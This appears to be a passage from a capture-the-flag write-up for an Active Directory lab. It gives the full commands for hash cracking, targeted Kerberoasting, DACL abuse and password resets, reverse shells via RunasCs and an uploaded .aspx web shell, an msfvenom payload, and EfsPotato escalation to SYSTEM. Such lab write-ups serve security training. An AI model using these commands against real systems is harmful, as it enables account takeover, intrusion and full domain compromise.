Finally, I deployed it on the Uploads shared drive. After a couple of seconds, in the terminal where the listener was launched, I got the NTLMv2 hash for jon.peters.

[SMB] NTLMv2-SSP Client   : 10.1.65.124
[SMB] NTLMv2-SSP Username : CITY\jon.peters
[SMB] NTLMv2-SSP Hash     : <REDACTED>

I went back to john, to crack this new hash and obtain the corresponding password.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $john jon_peters_ntlm_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<REDACTED>   (jon.peters)     
1g 0:00:00:10 DONE (2026-06-26 15:28) 0.09451g/s 1260Kp/s 1260Kc/s 1260KC/s 1234ถ6789..1234dork
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Again, I wanted to verify if the login was OK.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u jon.peters -p <REDACTED>
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\jon.peters:<REDACTED> 

I got the confirmation that everything was fine with the access for this user.

● Lateral movement to nina.soto

Since I obtained a new set of credentials, I returned to BloodHound to see what I could find. Still no useful group membership, but jon.peters had GenericWrite access on 3 different users: maria.clerk, paul.roberts and nina.soto .

I used targetedKerberoast.py tool (available here) to obtain the Kerberos hash for these 3 users.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $~/Tools/targetedKerberoast/targetedKerberoast.py -v -d 'city.local' -u 'jon.peters' -p '<REDACTED>' --dc-ip 10.1.65.124

Then, passed all 3 hashes to john, for cracking.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $john --format=krb5tgs three_hash_krb.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<MARIA_PWD_REDACTED>    (?)     
<NINA_PWD_REDACTED>     (?)     
2g 0:00:00:20 DONE (2026-06-26 15:58) 0.09652g/s 692266p/s 1614Kc/s 1614KC/s !!12Honey..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

I was able to get the passwords only for 2 of the 3 users. However, it was something I could work with. But I had to test them before, to confirm they were OK, and the confirmation came.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u maria.clerk -p <REDACTED>
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\maria.clerk:<REDACTED> 
┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u nina.soto -p <REDACTED>
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\nina.soto:<REDACTED> 

● Pivoting from emma.hayes to sam.brooks and getting the user flag

I reexamined the shared drive permissions, this time with the 2 new found accounts. Although maria.clerk didn’t have anything interesting, for nina.soto , I noticed there was read access on Backups.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbmap -u nina.soto -p <REDACTED> -H city.local

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                          
                                                                                                                             
[+] IP: 10.1.65.124:445 Name: city.local           Status: Authenticated
 Disk                                                   Permissions Comment
 ----                                                   ----------- -------
 ADMIN$                                             NO ACCESS Remote Admin
 Backups                                            READ ONLY 
 C$                                                 NO ACCESS Default share
 IPC$                                               READ ONLY Remote IPC
 NETLOGON                                           READ ONLY Logon server share 
 SYSVOL                                             READ ONLY Logon server share 
 Uploads                                            NO ACCESS 
[*] Closed 1 connections                                                                                

I connected to that shared drive and found some backup profiles for clerk.john and sam.brooks. I downloaded them on my local machine. Initially, the download of the file for clerk.john was failing due to a timeout error, but I managed to fix this by adding -m SMB2 parameter to the initial smbclient command.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $smbclient \\\\city.local\\Backups -U nina.soto
Password for [WORKGROUP\nina.soto]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Oct 30 18:55:14 2025
  ..                                  D        0  Thu Oct 30 18:55:14 2025
  Documents Backup                   Dn        0  Thu Oct 30 18:55:14 2025
  UserProfileBackups                 Dn        0  Thu Oct 30 20:55:27 2025

  12966143 blocks of size 4096. 8391255 blocks available
smb: \> cd UserProfileBackups
smb: \UserProfileBackups\> dir
  .                                  Dn        0  Thu Oct 30 20:55:27 2025
  ..                                 Dn        0  Thu Oct 30 20:55:27 2025
  clerk.john_ProfileBackup_0729.wim     An 69883158  Thu Oct 30 18:23:22 2025
  sam.brooks_ProfileBackup_0728.wim      A   130326  Thu Oct 30 20:55:12 2025

  12966143 blocks of size 4096. 8391254 blocks available
smb: \UserProfileBackups\> get sam.brooks_ProfileBackup_0728.wim
getting file \UserProfileBackups\sam.brooks_ProfileBackup_0728.wim of size 130326 as sam.brooks_ProfileBackup_0728.wim (90,4 KiloBytes/sec) (average 90,4 KiloBytes/sec)
smb: \UserProfileBackups\> get clerk.john_ProfileBackup_0729.wim
parallel_read returned NT_STATUS_IO_TIMEOUT
smb: \UserProfileBackups\> getting file \UserProfileBackups\clerk.john_ProfileBackup_0729.wim of size 69883158 as clerk.john_ProfileBackup_0729.wim SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now

To see what was available on those 2 profiles, I installed wimtools. You could either extract them locally, or map them. I chose to extract them, then navigated through the available content.

Inside the profile of sam.brooks, I found an email mentioning web_admin account, which was moved to Quarantine OU due to some security concerns. Also, another mention was made related to the web server, which had ASP.NET enabled and file uploads of .aspx pages were possible. This helped me later.

For clerk.john, I found another email from Emma Hayes, where she mentioned she would share her credentials to be used for urgent tasks while she was on vacation. Those were stored in Credential Manager. I found some corresponding key files, but also the PowerShell History file for the console log. After examining it, I got the plaintext credentials of emma.hayes.

cmdkey /add:city-dc /user:city.local\emma.hayes /pass:<REDACTED>
cmdkey /add:DC-CC.city.local /user:emma.hayes /pass:<REDACTED>

Of course, I tested the connection with the new pair and got the confirmation that it was all good.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u emma.hayes -p <REDACTED>
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\emma.hayes:<REDACTED> 

Back to BloodHound, looking for useful access on Emma. Over there, I found out she had WriteDacl rights on CityOps OU and 3 other users: sam.brooks , alex.king and rita.cho . I used that permission to grant FullControl for her on CityOps , using dacledit.py .

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $sudo ./dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'emma.hayes' -target-dn 'OU=CITYOPS,DC=CITY,DC=LOCAL' 'city.local'/'emma.hayes':<REDACTED>

Then, I looked over all those 3 users under CityOps OU and their permissions. The one that proved to be the most useful was sam.brooks , because it was part of Remote Management Users. First, I had to enable it, since it was disabled.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $bloodyAD --host 10.1.65.124 -d 'city.local' -u 'emma.hayes' -p <REDACTED> remove uac 'sam.brooks' -f ACCOUNTDISABLE
[+] ['ACCOUNTDISABLE'] property flags removed from sam.brooks's userAccountControl

Next, I reset the password for this account, using the same tool as previously, bloodyAD.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $bloodyAD -u 'emma.hayes' -p <REDACTED> -d 'city.local' --host 10.1.65.124 set password 'sam.brooks' 'Password123'
[+] Password changed successfully!

Finally, I tested it and made sure the credentials were valid.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u sam.brooks -p Password123
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\sam.brooks:Password123 

Since this user was a member of Remote Management Users, I connected to the machine using evil-winrm and got the user flag located on Desktop.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $evil-winrm -i 10.1.65.124 -u sam.brooks -p Password123
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sam.brooks\Documents> whoami
city\sam.brooks
*Evil-WinRM* PS C:\Users\sam.brooks\Documents> dir
*Evil-WinRM* PS C:\Users\sam.brooks\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\sam.brooks\Desktop> dir


    Directory: C:\Users\sam.brooks\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/24/2025  11:57 AM           1594 user.txt


*Evil-WinRM* PS C:\Users\sam.brooks\Desktop> type user.txt

<REDACTED_FLAG>


⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠚⠉⠀⠀⠉⠑⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⠀⠀⠀⠀⠀⠀⠀⠀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⣠⠔⠋⠉⣩⣍⠉⠙⠢⣄⠀⢸⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢧⡜⢏⠓⠒⠚⠁⠈⠑⠒⠚⣹⢳⡸⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠘⣆⠸⡄⠀⠀⠀⠀⠀⠀⢠⠇⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⡴⠚⠉⢣⡙⢦⡀⠀⠀⢀⡰⢋⡜⠉⠓⠦⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⡴⠁⢀⣀⣀⣀⣙⣦⣉⣉⣋⣉⣴⣋⣀⣀⣀⡀⠈⢧⠀⠀⠀⠀⠀
⠀⠀⠀⠀⡸⠁⠀⢸⠀⠀⠀⠀⢀⣔⡛⠛⡲⡀⠀⠀⠀⠀⡇⠀⠈⢇⠀⠀⠀⠀
⠀⠀⠀⢠⠇⠀⠀⠸⡀⠀⠀⠀⠸⣼⠽⠯⢧⠇⠀⠀⠀⠀⡇⠀⠀⠘⡆⠀⠀⠀
⠀⠀⠀⣸⠀⠀⠀⠀⡇⠀⠀⠀⠳⢼⡦⢴⡯⠞⠀⠀⠀⢰⠀⠀⠀⠀⢧⠀⠀⠀
⠀⠀⠀⢻⠀⠀⠀⠀⡇⠀⠀⠀⢀⡤⠚⠛⢦⣀⠀⠀⠀⢸⠀⠀⠀⠀⡼⠀⠀⠀
⠀⠀⠀⠈⠳⠤⠤⣖⣓⣒⣒⣒⣓⣒⣒⣒⣒⣚⣒⣒⣒⣚⣲⠤⠤⠖⠁⠀⠀⠀
⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
*Evil-WinRM* PS C:\Users\sam.brooks\Desktop>

● Move web_admin from Quarantine to CityOps and reset the password to get access to it

I remembered about the .aspx files for the web server. However, being connected as user sam.brooks didn’t allow me to upload the required file. I verified the permissions and concluded I needed access as web_admin.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ACL -Path .\test.aspx | Format-Table -Wrap


    Directory: C:\inetpub\wwwroot\uploads


Path      Owner                  Access
----      -----                  ------
test.aspx BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize
                                 CITY\web_admin Allow  Modify, Synchronize
                                 NT SERVICE\TrustedInstaller Allow  FullControl
                                 NT AUTHORITY\SYSTEM Allow  FullControl
                                 BUILTIN\Administrators Allow  FullControl
                                 BUILTIN\Users Allow  ReadAndExecute, Synchronize


*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ACL -Path . | Format-Table -Wrap


    Directory: C:\inetpub\wwwroot


Path    Owner                  Access
----    -----                  ------
uploads BUILTIN\Administrators BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize
                               BUILTIN\IIS_IUSRS Allow  ReadAndExecute, Synchronize
                               CITY\web_admin Allow  Modify, Synchronize
                               BUILTIN\IIS_IUSRS Allow  -1610612736
                               NT SERVICE\TrustedInstaller Allow  FullControl
                               NT SERVICE\TrustedInstaller Allow  268435456
                               NT AUTHORITY\SYSTEM Allow  FullControl
                               NT AUTHORITY\SYSTEM Allow  268435456
                               BUILTIN\Administrators Allow  FullControl
                               BUILTIN\Administrators Allow  268435456
                               BUILTIN\Users Allow  ReadAndExecute, Synchronize
                               BUILTIN\Users Allow  -1610612736
                               CREATOR OWNER Allow  268435456

I tried to get the Kerberos hash, but, unfortunately, couldn’t crack it. So I returned to what I saw in BloodHound for emma.hayes and started to investigate the permissions on those OUs.

First, I got the DistinguishedName property for the OUs.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ADOrganizationalUnit -Filter 'Name -eq "CITYOPS"' | Select Name, DistinguishedName

Name    DistinguishedName
----    -----------------
CityOps OU=CityOps,DC=city,DC=local


*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ADOrganizationalUnit -Filter 'Name -eq "QUARANTINE"' | Select Name, DistinguishedName

Name       DistinguishedName
----       -----------------
Quarantine OU=Quarantine,DC=city,DC=local

Then, I verified the access Emma had on those.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> (Get-Acl -Path "AD:\OU=Quarantine,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap

                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited
                      --------------------- --------------- ----------------- ----------------- -----------
ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes         False
                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False
                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes         False
                   CreateChild, DeleteChild     Descendents             Allow CITY\emma.hayes         False

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> (Get-Acl -Path "AD:\OU=CityOps,DC=city,DC=local").Access | Where-Object 'IdentityReference' -like '*emma*' | Select ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table -Wrap 

ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited
--------------------- --------------- ----------------- ----------------- -----------
           GenericAll             All             Allow CITY\emma.hayes         False
            WriteDacl             All             Allow CITY\emma.hayes         False

Next, I got the info about web_admin.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ADUser -Identity web_admin


DistinguishedName : CN=Web Admin,OU=Quarantine,DC=city,DC=local
Enabled           : True
GivenName         :
Name              : Web Admin
ObjectClass       : user
ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707
SamAccountName    : web_admin
SID               : S-1-5-21-407732331-1521580060-1819249925-1107
Surname           :
UserPrincipalName : web_admin@city.local

Finally, I got the access Emma had on it.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> (Get-Acl -Path "AD:\CN=Web Admin,OU=Quarantine,DC=city,DC=local").Access | Where-Object {$_.IdentityReference -like "*emma.hayes*"} | Select-Object ActiveDirectoryRights, InheritanceType, AccessControlType, IdentityReference, IsInherited | Format-Table

                      ActiveDirectoryRights InheritanceType AccessControlType IdentityReference IsInherited
                      --------------------- --------------- ----------------- ----------------- -----------
                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True
                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True
                   CreateChild, DeleteChild             All             Allow CITY\emma.hayes          True
ReadProperty, WriteProperty, GenericExecute             All             Allow CITY\emma.hayes          True

I proceeded with moving web_admin from Quarantine to CityOps.

*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> $emma_pass = ConvertTo-SecureString <REDACTED> -AsPlainText -Force
*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> $emma_cred = New-Object System.Management.Automation.PSCredential('city.local\emma.hayes', $emma_pass)
*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Move-ADObject -Identity "CN=Web Admin,OU=Quarantine,DC=city,DC=local" -TargetPath "OU=CityOps,DC=city,DC=local" -Credential $emma_cred
*Evil-WinRM* PS C:\inetpub\wwwroot\uploads> Get-ADUser -Identity web_admin


DistinguishedName : CN=Web Admin,OU=CityOps,DC=city,DC=local
Enabled           : True
GivenName         :
Name              : Web Admin
ObjectClass       : user
ObjectGUID        : d0eac22e-8e85-49d2-a287-dfdeabd35707
SamAccountName    : web_admin
SID               : S-1-5-21-407732331-1521580060-1819249925-1107
Surname           :
UserPrincipalName : web_admin@city.local

Once that step was completed and verified, I reset the password and tested it.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $bloodyAD -u 'emma.hayes' -p <REDACTED> -d 'city.local' --host 10.1.65.124 set password 'web_admin' 'Password123'
[+] Password changed successfully!
┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $netexec smb city.local -u web_admin -p 'Password123'
SMB         10.1.65.124     445    DC-CC            [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-CC) (domain:city.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.65.124     445    DC-CC            [+] city.local\web_admin:Password123 

However, there was still a big issue. Although I had the password for it, I couldn’t remotely connect to that user because it was lacking the proper group memberships. I started a netcat listener, then uploaded RunasCs.exe in C:\Temp from the terminal I had as sam.brooks.

*Evil-WinRM* PS C:\Temp> upload RunasCs.exe
                                        
Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/RunasCs.exe to C:\Temp\RunasCs.exe
                                        
Data: 68948 bytes of 68948 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> dir


    Directory: C:\Temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf
-a----       11/28/2025  12:57 PM           5296 privs.inf
-a----        6/28/2026   4:01 AM          51712 RunasCs.exe
-a----       10/24/2025   9:08 AM          16384 secedit.jfm
-a----       10/24/2025   9:08 AM        1048576 secedit.sdb

After that, I executed RunasCs.exe and launched a reverse shell.

*Evil-WinRM* PS C:\Temp> .\RunasCs.exe web_admin Password123 powershell.exe -r <MY_VPN_IP>:4444
[*] Warning: User profile directory for user web_admin does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'web_admin' is limited. Use the flag combination --bypass-uac and --logon-type '5' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-14f5d16$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2676 created in background.

In the terminal where I previously started the netcat listener, I got access as web_admin.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.1.65.124 50330
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
city\web_admin
PS C:\Windows\system32> 

● Pivoting to defaultapppool

Once I got access as web_admin, I went to the website uploads directory to place the .aspx reverse shell (available here). Of course, in a different terminal, I started another netcat listener, to have it prepared. Using PowerShell and a local Python web server, I uploaded the required file.

PS C:\inetpub\wwwroot\uploads> dir
dir


    Directory: C:\inetpub\wwwroot\uploads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             


PS C:\inetpub\wwwroot\uploads> Invoke-WebRequest -Uri "http://<MY_VPN_IP>:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"
Invoke-WebRequest -Uri "http://<MY_VPN_IP>:8000/hack.aspx" -OutFile "C:\inetpub\wwwroot\uploads\hack.aspx"
PS C:\inetpub\wwwroot\uploads> dir
dir


    Directory: C:\inetpub\wwwroot\uploads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        6/28/2026   4:45 AM          15970 hack.aspx                                                             
-a----       10/24/2025  11:23 AM           1218 test.aspx                                                             


PS C:\inetpub\wwwroot\uploads>

In my browser, I accessed the page (http://city.local/uploads/hack.aspx) and, in that way, triggered the execution of the malicious file, which granted me access.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $nc -lnvp 5555
Listening on 0.0.0.0 5555
Connection received on 10.1.65.124 50499
Spawn Shell...
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>

● Abuse privileges and get full access

The first thing I did after I got access as defaultapppool was to check which privileges were assigned to that user. It had SeImpersonatePrivilege, which was a good attacking vector.

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

c:\windows\system32\inetsrv>

I looked for available exploits applied to that permission. Initially, I tried with PrintSpoofer.exe, but it didn’t work. Next, I uploaded and compiled EfsPotato.cs (available here), according to instructions provided by its developer.

C:\Temp>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
Microsoft (R) Visual C# Compiler version 4.7.3190.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240


C:\Temp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of C:\Temp

06/28/2026  05:10 AM    <DIR>          .
06/28/2026  05:10 AM    <DIR>          ..
10/24/2025  09:08 AM             2,548 dc_user_rights.inf
06/28/2026  05:05 AM            25,441 EfsPotato.cs
06/28/2026  05:10 AM            17,920 EfsPotato.exe
06/28/2026  04:59 AM            27,136 PrintSpoofer64.exe
11/28/2025  01:57 PM             5,296 privs.inf
06/28/2026  04:01 AM            51,712 RunasCs.exe
10/24/2025  09:08 AM            16,384 secedit.jfm
10/24/2025  09:08 AM         1,048,576 secedit.sdb
06/28/2026  04:19 AM        11,076,096 winPEASx64.exe
               9 File(s)     12,271,109 bytes
               2 Dir(s)  34,349,150,208 bytes free

Next, I created an executable for another reverse shell, using msfvenom.

┌─[rootshellace@parrot]─[~/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil]
└──╼ $msfvenom -p windows/x64/shell_reverse_tcp LHOST=<MY_VPN_IP> LPORT=7777 -f exe > syshack_shell.exe

I uploaded it via the same connection I had as sam.brooks . I also started another netcat listener.

*Evil-WinRM* PS C:\Temp> upload syshack_shell.exe
                                        
Info: Uploading /home/rootshellace/HackSmarter/HandsOnLabs/ActiveDirectory/CityCouncil/syshack_shell.exe to C:\Temp\syshack_shell.exe
                                        
Data: 10240 bytes of 10240 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> dir


    Directory: C:\Temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/24/2025   9:08 AM           2548 dc_user_rights.inf
-a----        6/28/2026   5:05 AM          25441 EfsPotato.cs
-a----        6/28/2026   5:10 AM          17920 EfsPotato.exe
-a----        6/28/2026   4:59 AM          27136 PrintSpoofer64.exe
-a----       11/28/2025  12:57 PM           5296 privs.inf
-a----        6/28/2026   4:01 AM          51712 RunasCs.exe
-a----       10/24/2025   9:08 AM          16384 secedit.jfm
-a----       10/24/2025   9:08 AM        1048576 secedit.sdb
-a----        6/28/2026   5:45 AM           7680 syshack_shell.exe
-a----        6/28/2026   5:31 AM             14 test_user.txt
-a----        6/28/2026   4:19 AM       11076096 winPEASx64.exe

Once uploaded, I executed EfsPotato.exe to trigger the reverse shell with elevated permissions.

C:\Temp>.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"
.\EfsPotato.exe "cmd.exe /c C:\Temp\syshack_shell.exe"
Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: IIS APPPOOL\DefaultAppPool
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=109ff80)
[+] Get Token: 860
[!] process with pid: 2068 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818

I went back to my terminal with the listener and I saw I got System access. Finally, I went inside the Desktop directory of the Administrator account and read the root flag.

└──╼ $nc -lnvp 7777
Listening on 0.0.0.0 7777
Connection received on 10.1.65.124 50695
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
whoami
nt authority\system

C:\Temp>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is CCCC-FB95

 Directory of C:\Users\Administrator\Desktop

02/27/2026  07:55 AM    <DIR>          .
02/27/2026  07:55 AM    <DIR>          ..
10/24/2025  11:53 AM             1,230 root.txt
               1 File(s)          1,230 bytes
               2 Dir(s)  34,347,618,304 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt


<REDACTED_FLAG>


⠀⠀⠀⠀⠀⣀⣠⠤⠶⠶⣖⡛⠛⠿⠿⠯⠭⠍⠉⣉⠛⠚⠛⠲⣄⠀⠀⠀⠀⠀
